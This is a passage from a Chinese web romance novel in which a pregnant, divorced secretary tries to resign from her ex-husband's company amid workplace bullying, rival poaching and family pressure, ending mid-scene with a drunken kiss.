贺忱眉骨一拢,将烟支从薄唇上拿下来。
“什么离职报告。”
沈渺抬起头看向他,“那天我让林助转交给您的离职报告。”
贺忱这才想起那个信封。
他没来得及看里面内容就接到电话出国了,回来后那文件早已不翼而飞,他把这茬忘了。
“您没看到吗?”沈渺也发现了不对。
贺忱吐出烟圈,静默数秒道,“辞职理由。”
沈渺眸光微闪,“分公司总经理的职位不太适合我,历经半年我还不能适应。”
“那就调回来。”贺忱薄唇轻启吐出五个字,他凝了她一眼,“以后有事直接说,别兜圈子。”
“我不是这个意思。”沈渺没想到他会误会,“我……”
不断有员工进出餐厅,开门的瞬间一股浓浓的油烟味传来。
不等沈渺的话说完,一股恶心涌上来,她迅速捂住嘴,转身进了一旁的洗手间。
不到两个月,正是孕吐严重的时候。
每次都吐不出什么,但很难受。
沈渺加速整理好状态,从卫生间出来,却不见了贺忱的踪影。
“沈秘书,你出来了。”林昭站在贺忱方才站的地方,正在发消息,“我正安排人事部把你调回来,趁着午休你把办公用品从分公司拿回来,下午就能正常上班了。”
沈渺心里‘咯噔’一声,没想到贺忱已经下命令了。
“你先别安排,我还没跟贺总谈完!”
她转身朝餐厅走去。
林昭手上动作一顿,“贺总不在餐厅,程小姐说西餐厅的厨子味道不怎么样,贺总带她出去用餐了,而且我已经安排好了。”
7.只要你不喝,谁喝都行
沈渺脚步顿住,她轻咬着下唇面色逐渐凝重。
“怎么了?”林昭不解,“不是你让贺总把你调回来的吗?”
沈渺摇头,“不是,我是来提离职的。”
林昭倒吸一口凉气,仿佛明白了什么,“那天你让我转交给贺总的东西,是辞职信啊,为什么?”
“个人原因。”沈渺言简意赅,她又说,“调回来的命令还能撤回吗?”
“撤也要经过贺总允许啊!”林昭一脸为难,“刚刚贺总脸色特别难看,临近年关公司忙,你这个时候提离职不是上赶着找不自在吗?”
贺忱的脾气,沈渺和林昭都清楚。
他决定的事情就没有回转的余地。
沈渺再去找,白白把贺忱惹怒了,也改变不了结局,还会让他们都处于水深火热中。
沈渺抬手捏了捏眉心,本想远离贺忱,没想到弄巧成拙竟是——
事情已成定局,沈渺只能再找其他机会提离职。
下午一点,她准时出现在总裁秘书的岗位上。
中午她与贺忱在餐厅见面交谈,不少人都看到了。
下午她就回了百荣总部上班,这事儿众口相传,最后演变成沈渺求贺忱让她回来。
就算不是这些谣传,程唯怡也无法接受沈渺回来。
她挽着贺忱从电梯里出来,看到沈渺坐在这个工位上时,笑容消散。
“贺忱哥,她怎么在这里?”
贺忱正在接电话,撩拨眼皮看了她一眼,又侧头轻声与程唯怡解释。
“她在分公司不适应,申请调回来。”
解释完,他又站直身体继续接听电话。
见他在忙,程唯怡没再问,但盯着沈渺的眼神仿佛能吃人那般。
沈渺察觉到了程唯怡的目光,可她只能当做看不见专心处理工作。
直至贺忱带着程唯怡回了办公室。
沈渺卷翘的睫毛轻抬,看了眼那扇紧闭的办公室门。
不知过了多久,她桌上的内线被打通。
“去买一杯杨枝甘露。”
程唯怡的声音传来。
沈渺捏着笔的手指尖一白,“好。”
她放下笔,拿起外套离开工位,下楼买奶茶。
十五分钟后,她将奶茶送到办公室。
午后正浓的阳光洒满整个办公室,贺忱穿着白色的衬衫端坐在办公桌前。
他袖口挽起两节,手背上纵横交错的筋络隐入寸寸分明的小臂中。
程唯怡坐在他身边,撑着一只胳膊满眼爱意地看着他。
沈渺把奶茶放在办公桌上,“程小姐,您的奶茶。”
程唯怡看都不看她一眼,把奶茶放到贺忱面前,“贺忱哥,你给我打开。”
贺忱看她一眼,唇角掀起宠溺又无奈的弧度。
他放下文件,把奶茶拿过来插入吸管。
“你喂我。”程唯怡朝他撒娇,张开嘴。
“没别的事情,我先出去了。”
沈渺匆匆别开目光,转身朝外走。
办公室门关上的一刹那,程唯怡撒娇的声音断断续续地传出来。
沈渺的心头一沉,但面色如常,朝岗位上走去。
但刚坐下,内线又被打通,依旧是程唯怡。
“奶茶怎么是热的呀,我要冰的!”
沈渺抿了下唇说,“抱歉,我以为现在是冬天……”
程唯怡冷哼一声,“国外人家都喝凉的,一看你就没出过国吧,现在立刻给我重新买一杯!”
她骄横的声音,夹杂着贺忱富有磁性的低沉声。
听起来像是在打电话。
“好。”沈渺掏出纸笔,“这次还是要杨枝甘露吗?大杯还是小杯,依旧买这家店的可以吗?”
那端,程唯怡静了好一会儿,轻哼了声,“大杯,就这家店吧。”
十五分钟后,沈渺重新买来了一杯大杯冰杨枝甘露。
她送到办公室就出来了。
工作没两分钟,程唯怡又让她下楼买吃的。
沈渺哪儿能看不出,程唯怡是故意的?
她深吸一口气,坐在工位上冷静了几秒,然后按照程唯怡交代的办。
吃的喝的用的,只要能代买的,程唯怡将她指使了一个遍。
直到下班,沈渺的屁股就没在工位上坐超过五分钟的时候。
“进来一下。”
内线又被打通,这次是贺忱。
沈渺起身进入办公室。
“让你整理的资料呢。”贺忱靠在椅背上,摘掉了金丝眼镜,眉宇透着几分疲倦。
沈渺摇头,“还没整理完。”
贺忱不满,“一下午连份资料都没整理出来?”
沈渺看着他办公桌上琳琅满目的杂物。
零食,奶茶,小玩具,都是她跑了这一下午给程唯怡买回来的。
贺忱似是才发现,但他依旧沉着脸,“下班之前整理好,晚上的酒会要用。”
“好。”
沈渺看了看时间,距离下班只有二十分钟,整理不完。
她将所有数据导入,整理到文件中,分批备注好。
二十分钟已经过去了。
贺忱带着程唯怡出来,路过她身旁时敲了敲她办公桌。
沈渺立刻将笔记本装入包里,拎着公文包拿起外套,跟在他与程唯怡后面。
林昭已经开了车在楼下等,后座车门开着。
贺忱抵着车门框,先让程唯怡上去,然后自己才上车。
寒冬的京北傍晚温度骤降,沈渺拎着包站在两层台阶上。
风吹得她长发散落,她黑白分明的眼眸看着贺忱小心翼翼的每一个动作。
只觉得风将她身体每一个角落,都吹得冰凉。
“沈秘书,走吧。”林昭见她还愣神,喊了她一声。
沈渺回过神,点头上了副驾。
她将笔记本拿出来,整理资料。
“贺忱哥,等会儿应酬他们让我喝酒怎么办?”程唯怡的声音传来。
贺忱嗓音低沉富有磁性,“我帮你挡。”
程唯怡娇笑一声,很快又说,“可是你喝酒我会心疼的。”
“是吗?”贺忱嗓音难掩愉悦,“谁喝你不心疼?”
沈渺眼皮一掀,透过后视镜看了眼。
贺忱指骨分明的双手穿抵在腿上,双腿叠放着,几分漫不经心的懒散。
是他少有的在亲密之人面前才会露出的样子。
“只要你不喝,谁喝都行。”程唯怡意有所指。
沈渺敲击键盘的动作顿了下,很快又恢复如常。
以往她陪贺忱参加酒会的作用,就是挡酒的。
程唯怡这意思是,让她喝。
8.来跟我,给你开双倍工资
“行。”
贺忱轻笑着,一簇簇路灯打进来,照在他轮廓分明的侧脸。
他的笑容有几分刺眼。
电脑屏幕的光亮折射到沈渺脸上,将她面色的落寞一览无余。
五十分钟的车程,她将数据全部整理好。
抵达酒店,林昭将车停在酒店门口。
沈渺下车,将后座车门打开。
贺忱率先下来,拢了拢挺括的西装,然后将手伸入车内。
程唯怡白皙的小手落入他掌心,她下来时看了沈渺一眼,露出一个胜利者的笑容。
“贺忱哥,好冷啊。”
待她站稳,贺忱将外套脱下来,裹住程唯怡,“不听话,让你多穿点,现在知道冷了。”
他长臂一勾,搂着程唯怡,替程唯怡挡着烈风,朝酒店内走去。
沈渺关好车门,转身走向林昭,“林昭,我感冒吃了药,不能喝酒,等会儿你陪贺总应酬,我负责开车。”
“行。”林昭将车钥匙递给她,“资料呢?”
“你先进去,我找酒店的人打印好给你送过去。”
沈渺接过车钥匙,拎着包快步进入酒店,找前台打印。
宴会厅。
贺忱一身黑色的西装,站在一群商圈大佬中很是显眼。
年轻帅气能力又出众,他一来就成了焦点,立刻有人上前敬酒。
林昭迅速拿了两杯果汁,分别递给贺忱与程唯怡。
然后自己拿了一杯酒,与前来敬酒的人碰杯。
贺忱见来的是林昭,眉头不由得一拢,面色不虞。
“林昭,沈渺呢?”
待林昭敬完酒,程唯怡立刻发问。
林昭低声说,“沈秘书去打印资料了,等下就送过来。”
程唯怡哪里是问沈渺去做什么了?
她分明指的为什么不是沈渺来挡酒!
但很快又有人来敬酒,络绎不绝的应酬没给她再说下去的机会。
没一会儿沈渺来了,她悄无声息走到林昭身边,把文件交给他,然后退到角落候着。
这是贺忱第一次带着程唯怡参加酒会。
他修长的手臂揽着程唯怡的腰,给她介绍着商圈各界大佬。
“贺总,你跟程小姐是不是好事将近了?”
“新闻我们可都看到了,不知道什么时候能讨杯喜酒。”
众人你一言我一语,围绕着贺忱与程唯怡。
程唯怡脸颊含羞,往贺忱怀里靠了靠。
贺忱搂着她腰的手又紧了紧,面含春风。
“有好消息一定邀请各位,她害羞,我们不提这些。”
他将人护得紧,众人再打趣,阿谀奉承一番,转移了话题。
两米的吊灯照亮整个宴会厅,璀璨繁复的灯光折射在酒杯上,一缕光亮打在沈渺苍白的小脸上。
眼不见心不烦,她浅垂下眼眸,转身正欲去外面透透气。
宴会厅门口突然一阵嘈杂。
一个穿着花衬衫的男人,在一群人的簇拥下阔步而来。
男人手里拿着一杯高浓度伏特加,一出场就吸引了不少人的目光。
方才与贺忱打过招呼的人又纷纷迎上去,与那人打招呼。
何之洲,何家长子,贺忱的死对头。
每次在酒场遇上何之洲都会找贺忱的事。
但他不是贺忱的对手,所以他退而求其次,开始为难贺忱的人。
例如,沈渺。
她转身换了个方向,打算从后门走。
何之洲却一眼就看到了她,推开正在应酬的人,快步追过来。
沈渺刚出宴会厅,就被他堵在角落里了。
“呦,沈渺,我还以为我看错了呢。”
贺忱属于人狠话不多,骨相生的好皮囊精致有型。
而何之洲则属于废话贼多,五官精致漂亮,但有些欠揍。
“你不是被‘打入冷宫’了吗,怎么又回来了?”
沈渺是贺忱的得力助手,商圈的人都认识她。
半年前她突然调到分公司做总经理,明升实降,不少人都猜忌她是犯了什么错。
“工作需要。”
沈渺颔首回答了他的问题,“何总,我还有事先走了。”
何之洲手肘撑在墙上,拦住她去路,“瞧你们贺总忙的,我想打招呼都没机会,你替他敬我一杯。”
他夺走沈渺手里的温水,顺手递过来一杯红酒,“要喝光哦。”
何家在京北仅次于贺家,何之洲在这儿也算跺跺脚抖三抖的人物。
以前沈渺被他灌过酒,图个面和,都没拒绝。
可今天——
“何总,我身体不舒服喝了药,不能喝酒。”
这套说辞,何之洲根本不信。
“看你红光满面,哪里像生病的?怎么?你们贺总交代过了?是打算跟我彻底撕破脸?”
咄咄逼人的气息迎面而来,何之洲都快把酒杯递到沈渺嘴边了。
若沈渺再拒绝,他能干出捏开沈渺的嘴灌酒的事情。
宴会厅的门开着,从他们的角度刚好能看到贺忱拥着程唯怡。
贺忱转眸间,刚好也看到他们。
几个人的目光撞在一起,不过片刻男人狭长的眼眸微眯了下,又移开淡定自若的应酬。
“瞧瞧,贺忱根本不顾你的死活,只顾跟他的童养媳秀恩爱,这样的上司你跟着他干什么?”
何之洲又看向沈渺,“我都替你心寒。”
沈渺声音有些哑,“何总说笑了,我只是他的下属,怎么能跟程小姐比。”
“不如这样吧。”何之洲弯了弯腰,跟她平视,“你来跟我,我给你开双倍的薪资。”
何之洲是顺毛驴,越是呛着越没完。
沈渺点头附和,“您愿意挖我是我的荣幸。”
下一秒,她面前多出来一张名片。
“拿着这张名片,去九洲报道。”
沈渺抬头,对上何之洲含笑的眼眸。
他虽然在笑,却是认真的。
挖走沈渺,何之洲就狠狠打了贺忱的脸。
这是他这辈子,第一次落贺忱的面子。
所以他当然认真!
可他越认真,沈渺就越不能直接拒绝,不然会被他缠死。
沈渺将名片接过来,低头道,“谢谢何总给我机会。”
“不用谢,沈秘书长的漂亮能力出众,这都是你应得的。”
何之洲实话实说,他是真欣赏沈渺。
在他的注视下,沈渺将他的名片放入了包中。
“谢谢何总夸奖。”
何之洲满意的笑了,“等你哦。”
他转身回宴会厅,谁知一扭头就看到贺忱站在不远处。
9.这么晚了,会不会不安全
“贺忱,你不太行啊。”
何之洲摊开双手,笑着朝贺忱走过去,“你的秘书看起来迫不及待想离开你呢。”
贺忱修长的身子抵着墙,指缝里夹着一根缓慢燃着的烟支。
他轻飘飘的目光在沈渺身上扫过,落在落地窗外一片阴郁的天色上。
“滚。”
他薄唇里溢出来一个字。
何之洲笑意不减,将搭在他肩上的手拿开,双手举过头顶投降状。
“好好好,贺总好威风,你们聊。”
他冲沈渺露出一个灿烂的笑容,“别怕,天塌了我给你撑着。”
何之洲摆明看热闹不嫌事大。
贺忱看似面色如常,他沉如漩涡的双眸,早已透露出他此刻的不悦。
长廊安静下来,沈渺站在离贺忱三米远的地方。
她看着他将一根烟抽完,烟雾缭绕着他俊朗的五官。
“贺总。”沈渺开了口,“我接他的名片只是为了尽早摆脱他的纠缠。”
贺忱深吸一口烟,将烟蒂丢入垃圾桶。
他眉尾一挑,嗓音淡漠,“是吗。”
沈渺黑白分明的眼眸闪过一抹诧异,未料到他会是这个态度。
半信半疑?
“嗯。”她点了点头,并未解释。
“贺总。”宴会厅内传来一道声音,“程小姐找你呢。”
贺忱站直身体,跺了跺脚挺括的西装熨贴在他身上。
他转身进入宴会厅。
沈渺跟了他两步,还想说什么。
但程唯怡拎着裙摆匆匆跑过来,扑到贺忱怀里。
“贺忱哥,他们都在打趣我,说我是你的童养媳。”
这个‘他们’是指一群商二代,贺忱与程唯怡共同的朋友。
贺忱张开双手环着她身体,牢牢把她抱住,“谁说的?我替你出气……”
沈渺眼皮轻颤,黑白分明的眸光一下黯淡下来。
她后退两步,转身朝停车场走去。
酒会过半,程唯怡不愿应酬,与一群商二代坐在一起闲聊。
贺忱却还脱不开身,来敬酒的人络绎不绝。
与此同时,何之洲身边也围满了人。
比起贺忱的低调内敛,何之洲张扬肆意,与人谈笑风生,字里行间还提到了沈渺。
只字片语落入贺忱耳中,贺忱的眸光渐渐锐利。
“最近何之洲挺闲。”
林昭低声说,“听说何之洲正在接触一个政圈项目,八九不离十了。”
贺忱眉尾一挑,目光深沉。
“去了解一下。”
林昭一怔,很快反应过来迅速将酒杯放下,“是。”
他转身离开宴会厅,打电话调查政圈项目。
不出十分钟,政圈项目的所有资料都拿到手。
“与政府合作,九洲就像被增加了一圈光环,听说何之洲将利润降到最低了,就图个光彩。”
贺忱拿过资料翻看了几页,合起递回给林昭,“既然是政府项目,就不该有利润,就当为国家做贡献了。”
林昭接过文件,一时没反应过来他什么意思。
直到贺忱又说,“连夜准备项目书,明天一早就政圈项目召开会议。”
“是!”
这些年,贺忱与何之洲虽然不合。
但是贺忱一向懒得与何之洲计较。
像今天这种主动抢项目的事情,更是前所未有。
林昭揣着疑惑,还是按照他吩咐,立刻下达命令到项目部。
深夜十一点,酒会结束。
沈渺将车开到酒店门口等着。
林昭喝了不少,贺忱直接安排他在酒店住下。
所以只有贺忱与程唯怡从酒店里出来,沈渺迅速下车开车门。
她穿着黑色包臀裙,白色的衬衫扣着一枚粉钻衬衫夹。
下来得急,她没穿灰色呢大衣,风一吹领口大开,露出性感精致的锁骨。
程唯怡心底顿时危机骤增,她拉着贺忱停下。
“贺忱哥,我困了。”
以往他们替贺忱挡酒,贺忱都会先将他们送回家,自己再开车回去。
贺忱揽着她身体,“你先上车。”
将她送车上,贺忱关了车门,沉声吩咐,“你打车回去。”
“是。”沈渺一张口,胸腔被冷风灌满,身体冰冷。
她绕到驾驶位,将外套和公文包拿下来,退到一旁。
程唯怡将车窗落下,似笑非笑看着沈渺。
“贺忱哥,沈秘书是女孩子,这么晚了会不会不安全啊?”
贺忱站在驾驶位旁,听到她的话看向沈渺。
沈渺站在风里,风吹的衬衫贴着她身体,细细的腰肢一手可握。
巴掌大的小脸五官精致小巧,在深夜这样的一个人,令人看了就会有犯罪的冲动。
贺忱眉头一拢,合格上司让他无法把沈渺丢下不管。
但程唯怡困了,他可舍不得让程唯怡熬着。
沈渺淡然一笑,“谢谢程小姐关心,正规出租车不会有事的。”
“那等会你打好车把车牌号发给我们吧。”程唯怡体贴道。
“好。”沈渺脸上始终挂着得体的笑容,“再见。”
听到她答应,贺忱弯腰上了车。
隔着车窗,沈渺看着他给程唯怡系好安全带,将暖气开到最足。
迈巴赫驶离原地,卷起的冷风吹散了沈渺的长发。
她走到街边等出租车,等了十几分钟也没等来,只能叫网约车。
又等了近半小时,沈渺上了网约车。
半小时后,她抵达住处。
爬楼回家时,接到了商音打来的电话。
“渺儿,离职办妥了没有,我已经打算好我们接下来去哪儿了。”
商音与她一样,孤儿院出身。
两人关系极好,好到沈渺离开京北,商音也要跟着走。
“去哪儿啊。”沈渺爬楼有些气喘吁吁。
“去坤成,一年四季如春,适合我养娃,适合你坐月子,你那边完事咱们直接去坤成过春节。”
商音都有收拾东西立马走的打算了。
沈渺给她泼了一盆冷水,“估计要年后,我的辞职报告非但没批下来,现在还回总部做贺忱秘书了。”
那端静默数秒,商音尖叫,“他要订婚的消息满天飞,还把你安排回去,想脚踏两条船啊!沈渺你千万要冷静,不能被他迷的没有道德底线了!”
“你想多了,年底事情多,可能赶上贺忱心情不好,所以驳回了我的离职申请。”
沈渺并不认为,自己在贺忱心里特殊,特殊到不让她走。
不过是她工作能力超纲,贺忱用着顺手,能帮他解决很多问题罢了。
10.贺忱哥,你凶我!
“我们可真可怜,要看别人心情办事。”商音提醒她,“我就怕你离他近了又着迷,反正你自己考虑,越早走越好,再迟一些被他发现怀孕你就惨了。”
沈渺自然知道这个道理,她想到一件事,“你去帮我抓点止孕吐的中药吧。”
商音孕吐严重,连饭都吃不下去,找了个老中医吃中药治好的。
“行,明天我给你送过去。”商音一边与她说一边哄孩子,“乖儿子,给你干妈送止吐药,让她给你生个童养媳啊。”
沈渺不禁轻笑,“别带我干儿子出来,外面太冷了。”
“谁说不是呢,冷得我都没办法穿那些好看的衣服出门……”
京北的冬季让商音想逃离这个地方。
而京北的贺忱,让沈渺想逃离。
她们都铁了心要离开。
距离年关,还有两周。
沈渺打算找机会,再跟贺忱提离职的事情。
她年前提,可以年后再走,免得年后提离职还要再等一个月的工作交接期才能走。
她都第二次提了,贺忱应该不会再强留她。
谁知次日一早,刚到公司,沈渺就被拎进会议室,开与政圈项目有关的会议。
这个项目是九洲势在必得的,沈渺关注过。
都已经快板上钉钉的合作,百荣非要插一脚。
短时间内做项目书,找合作商,又要与政圈的人见面。
一时间,贺忱忙的底朝天。
沈渺跟着忙得脚不沾地,别说提离职,她连喝口水的功夫都没有。
下午,三点。
“沈渺,你去给我买杯拿铁咖啡。”
程唯怡打通内线,吩咐完直接挂电话,都不听沈渺回应。
此刻办公室里只有程唯怡一个人。
她知道贺忱忙,也不好在贺忱面前表现得对沈渺太过分。
所以她现在专门挑着贺忱不在的时候,使唤沈渺。
沈渺手上有个很重要的工作要处理,必须在下班前赶出来。
她沉吟片刻,起身下楼,直奔咖啡厅。
“麻烦给我一杯热牛奶。”沈渺点完单,找了个位置坐下,拨通贺忱的电话。
电话很快被接起,男人低沉的嗓音响起。
“什么事。”
沈渺知道他在开会,她为难道,“打扰贺总开会了,程小姐让我帮她买咖啡,她想喝的口味没有了,贺总能不能帮我问问她要换什么口味?”
那端,贺忱沉吟片刻吐出几个字,“你回来。”
“好。”沈渺应声,挂了电话。
恰好她的热牛奶好了,她拎着回公司。
刚出电梯,就听见办公室里传来一阵哭泣。
“贺忱哥,你凶我?我就是想喝杯咖啡,怎么了?”
“乖,我没有凶你的意思,她完不成工作耽误工作进度,我还怎么抽出时间来陪你?”
贺忱耐着性子哄,“你再想要什么,换个人去。”
程唯怡哼哼唧唧,“那你为什么不能换个秘书?我就想让她给我买!”
“现在换人来不及,等我找人把她替换下来,好不好?”
贺忱发脾气的样子大家都见过。
但他这么低三下四的哄人,谁都没见过。
那两年沈渺跟他那般亲密,都没见他这个样子过。
秘书办的人拔长了脖子看过来。
奈何只开了半扇门的办公室,只能传出他们的声音,看不到任何画面。
沈渺在电梯出口僵了一会儿,才回到工位上坐下。
刚落座,办公室的另外半扇门猛地被推开。
程唯怡眼含泪花跑出来,手里的包包摔摔打打,将沈渺桌上的热牛奶碰到地上。
她却头也不回地走了。
牛奶在地毯上晕染开,冒着热气。
沈渺起身将牛奶杯捡起来,又用纸张将多余的奶水吸干。
黑色的皮鞋突然映入眼帘,笔挺的裤管熨贴着男人修长的双腿。
一道暗影打下来,笼罩着沈渺。
沈渺将垃圾丢入垃圾桶里,才站起来。
“贺总,给您添麻烦了。”
贺忱的脸色不怎么好,许是刚和程唯怡吵架的缘故。
而沈渺是令他们吵架的罪魁祸首。
“你跟林昭去开会,晚上向我汇报,我还有事先走了。”
他臂弯里搭着黑色的西装外套,手里拿着车钥匙。
显然,是要去追程唯怡的。
沈渺点头,“好。”
贺忱匆匆离开,头也不回地走了。
——
程唯怡从百荣出来,直奔贺家。
她抵达贺家时,明黎艳刚午睡起来,与贺家二老在客厅闲聊。
她一来,贺老夫人的脸上就没了笑容。
看到程唯怡是红着眼眶来的,明黎艳那叫一个心疼。
“唯怡,怎么了这是?谁欺负你了?”
她朝程唯怡张开双手,程唯怡立马扑到她怀里。
“伯母,贺忱哥欺负人。”
明黎艳当即沉了脸,“他怎么欺负你了,你跟我说!”
程唯怡巧妙地避开沈渺工作忙的重要环节,只说她让沈渺买杯咖啡,贺忱就不乐意了。
“就一个秘书,别说给你买咖啡,就是给你提鞋,又有什么不可的?”
明黎艳一听事情跟沈渺有关,当即心里就不痛快了。
她转而一想,又发现不对,“沈渺不是在分公司吗?她到总部去做什么?”
程唯怡故作委屈,“她不想在分公司了,申请回调,贺忱哥同意了。”
明黎艳当即一脸怒气,“真是太过分了!她当初自己要走,现在又要回来,一个小秘书把自己当成什么了!?”
“你那么大嗓门干什么?”贺老夫人拧眉,不满道,“到底怎么回事问问你的好儿子不就知道了?”
“妈,这事儿就是沈渺的错,跟贺忱有什么关系?”
明黎艳一直不满贺老夫人偏袒沈渺,今日话题到这儿,她索性敞开了说。
“当初要不是你们同意,我哪能让沈渺进贺家的门?她一个小秘书爬床心思昭然若揭!”
贺老夫人背脊一挺,“是你儿子睡了人家,要对人家负责的!”
明黎艳一噎,她不明白能用钱打发的女人,贺忱为什么要搞得这么复杂。
她话锋一转,换了话题。
“那不说这些,就说她现在挑拨贺忱跟唯怡的关系,她想干什么?”
程唯怡适时宜地吸吸鼻子,一脸委屈。
“公司是工作的地方,唯怡你不工作就算了还整天去添乱,年底工作繁忙,贺忱能不着急吗?”
始终沉默的贺老爷子开了口,他征战商场几十年,带着几分气势。
11.哄准未婚妻开心
明黎艳从未顶撞过贺老爷子,不论贺老爷子对错。
但她也不能眼睁睁看着程唯怡受委屈。
更不能让沈渺破坏程唯怡跟贺忱!
“唯怡,你跟我来。”
她拉着程唯怡起身上楼。
贺老夫人瞥了两人的背影一眼,长叹道,“我看跟程家的这趟浑水,越来越浑了。”
“气大伤身。”贺老爷子安抚她,“是福是祸都是你孙子自己选的,别太为他担心。”
“我才不担心他。”贺老夫人又是一声叹息,“我只担心渺渺,她跟贺忱离婚,今年春节是不是又要一个人过……”
沈渺在他们心里是令人心疼的。
在程唯怡和明黎艳心里,是可恨的。
“伯母,对不起我是不是让你为难了?”程唯怡被贺老爷子说了两句,反而安慰起明黎艳来。
明黎艳愈发觉得她懂事,“放心,你跟贺忱的事情还是我说了算。”
程唯怡轻咬着嘴唇,点头,“当初都是我不好,跟贺忱哥闹了别扭出国,不然贺忱哥也不会娶别人,现在才添了这么多麻烦。”
“我看把订婚日期提前,也早点结婚,一切就都尘埃落定了。”
明黎艳想快刀斩乱麻。
“我,我都听你们的。”程唯怡红着脸,羞答答的,说完她又拧起眉,“就是沈渺那边,我不知道她到底想干什么?”
“沈渺交给我。”
明黎艳语气突然沉了许多。
——
沈渺与林昭替贺忱将接下来的会议开完,已经到了下班时间。
而她原本的工作还未处理完,只能留下来加班。
七点钟,华灯初上。
秘书办已经黑了灯,顶楼只剩沈渺一个人。
她埋头奋战一堆数据时,商业娱乐新闻词条突然蹦出来。
【百荣掌事人贺总大手笔包下整个游乐场,哄准未婚妻开心。】
图片上,游乐场的灯光五彩缤纷。
程唯怡穿着天蓝色的羽绒服,被贺忱搂在怀里。
她仰着头,他低着头,他们鼻尖相抵。
身后是漫天的烟花。
只是一张图片,沈渺却仿佛听到了现场的热闹,听到了程唯怡的笑声,还有贺忱哄她时的柔声嗓音。
“我就知道,你还不死心。”
一道声音突然传来。
沈渺恍惚间回神,抬头才看到明黎艳站在她办公桌旁边。
而她电脑上,是那则贺忱与程唯怡的新闻。
她关掉页面站起来,“明董。”
“沈渺,你开个价,怎么样才能离开贺忱。”明黎艳从包里拿出一张支票。
只要沈渺说个数,她立马写上。
“明董,我跟贺总已经离婚了,我现在只是一个秘书,不存在于‘离不离开他’的问题。”
沈渺面色淡然,没有一丝为了钱动容的迹象。
明黎艳冷笑一声。
“你申请调回来干什么?不就是知道他们要订婚了,你后悔离婚了,想纠缠贺忱吗!”
沈渺摇头,“不是。”
她态度再坚决,明黎艳也不信。
“那你留下来图什么?换了旁人我给一笔钱早就走了!”
沈渺知道,只要她开口三百万五百万,明黎艳都给。
那些钱够她和孩子衣食无忧。
可她一声不吭消失,不是正式离职,会入商圈黑名单。
未来她总不能靠着这几百万混吃等死养孩子,不工作了。
“明董放心,我有自知之明,不会留在百荣碍贺总和程小姐,还有您的眼,所以我打算辞职,只是临近年关工作较忙,我还没找到合适的机会开口。”
明黎艳探究的目光打量她,“你真这么想?”
沈渺点头,“当然,过完春节我就向贺总提出辞呈,只有正常解约才不会影响我找下一份工作。”
“那行,我就给你几天时间。”
明黎艳将支票收起来,她看沈渺的目光依旧很冷,“今天贺忱与唯怡为你吵了架,我不希望这样的事情再发生。”
沈渺颔首,“我知道程小姐看我不顺眼,也请您转告程小姐,我只是贺总的秘书,请她别再为难我。”
她如此低眉顺眼,将话说得很明。
明黎艳面色总算浮上几抹满意。
之所以能容忍沈渺在贺忱身边待了两年,是她发现沈渺识趣。
“我丑话说在前头,你要是敢背着我耍小心思,我不会放过你的。”
想到程唯怡受了委屈的样子,明黎艳还是没给沈渺好话。
沈渺低着头应声,“好。”
明黎艳转身离开,高跟鞋发出‘咯哒咯哒’的声音。
许是明黎艳的转达起了作用。
之后,程唯怡都没再找沈渺麻烦。
贺忱把周芸调到程唯怡身边,程唯怡想买什么都让她去跑腿。
年前,政圈项目下了定论,被百荣拿下了。
先前九洲即将与政圈合作的新闻传得沸沸扬扬,一下变成了小丑。
腊月二十六,项目庆功宴。
贺忱心情不错,给参与政圈项目的每个人都准备了红包。
沈渺也有,拿了贺忱的钱,她却动了提离职的念头。
毕竟此刻贺忱的心情好,而她离开的事情不能再拖了。
不然,明黎艳那边交代不过去。
她看着坐在主位的贺忱。
男人被一盏冷白的灯光笼罩,骨节分明的手端着酒杯,唇角轻勾,正听项目部经理说着什么。
他时不时点一下头,与前来敬酒的人推杯换盏。
“沈秘书。”林昭端着杯盏过来,“这段时间辛苦你了,幸好你回来了,不然我要忙成陀螺了。”
沈渺端着牛奶起身,却见林昭杯中是果汁,“这么高兴的日子,你不喝酒?”
林昭看了贺忱一眼,“等会儿我要送贺总回去。”
“你喝吧,等会儿我送贺总回家。”
酒局过半,气氛依旧高涨,沈渺压根找不到机会单独跟贺忱说话。
送贺忱回家,是个不错的机会。
林昭不跟她客气,当即放下果汁拿了酒杯上了酒桌。
但是沈渺没想到,贺忱喝得有些多。
餐厅门口,沈渺将车停稳,看着林昭把贺忱扶上来。
贺忱坐在后座上,眼尾泛红,微睁了一条缝隙的眸子透出几分迷离。
他视线落在沈渺身上,她肤色凝白,愈发衬得那张樱桃小嘴红润,泛着光泽。
“贺总,您系一下安全带。”
沈渺嗓音柔柔的,落入男人耳中,让男人呼吸一滞。
12.一个吻让她乱的彻底
始终没得到回应,沈渺只能下车,绕到后面帮他系安全带。
她细长的胳膊绕过他身体,乌发盘在耳后,几缕碎发散在两鬓。
身上一股淡淡的馨香,充斥在贺忱的鼻翼间。
他的眼皮掀了掀,落在她白净精致的小脸上。
许是他的目光太过凝重,沈渺手上的动作一顿,眼皮颤了颤看向他。
四目相对,男人眼眸宛若漩涡,快要将人吸进去那般深邃。
沈渺呼吸一滞。
刺耳的车鸣声划破寂静的夜晚。
沈渺回了神,她迅速将安全带系好,关上车门,折回驾驶位。
她发动引擎驱车离开,走出去好远的路才敢往后视镜里看一眼。
贺忱靠着椅背,闭着双眼呼吸浅薄规律,像是睡着了。
不过是醉酒时的一个眼神,竟是让沈渺凌乱了。
沈渺沉了沉呼吸,一脚油门踩到最底。
贺忱极少喝多,酒精上头的滋味令他头脑发胀。
方才短暂的接触,像是一根羽毛轻轻扫过他胸膛。
沈渺身上那股熟悉的气息,勾起他内心深处压制许久的躁动。
恍惚间那股馨香弥漫在贺忱的鼻翼间。
贺忱捏了捏眉心,眼睛睁开一条缝,恰好能看到沈渺漂亮的侧脸。
殷红的唇瓣明亮的眼眸,轮廓堪称完美的脸颊,无一不刺激着酒精上头的男人。
不知过了多久,汽车停下来。
沈渺下车,绕到后座开车门,解开贺忱的安全带。
“贺总,到家了。”
贺忱身形微动,从车上下来,却一个踉跄。
沈渺下意识张开双手扶住他,却是撞入他胸膛。
她连步后退,差点儿摔倒时,腰肢一紧,被男人强而有力的小臂贯穿着稳住身体。
下一秒,天旋地转间,沈渺的背抵在车身上。
男人低头,准确无误地捕捉到她的唇瓣。
霸道又汹涌的吻来得突然,沈渺的呼吸在一瞬间被剥夺。
她下意识攥住了贺忱的衣角,动了动唇想说的话却是被他吞入腹中。
沈渺很少见贺忱喝酒,并不知他醉了会是这般样子。
但贺忱失控,她却是见过不少次。
结婚那两年,沈渺每个月为期五天的例假,对贺忱来说都是一种折磨。
例假期后,他每每失控。
就像现在这般,吻得汹涌,呼吸急促,迫切的……
他温热的大掌握住她细细的腰肢,灵活的手指将她衬衫从裙腰处扯出。
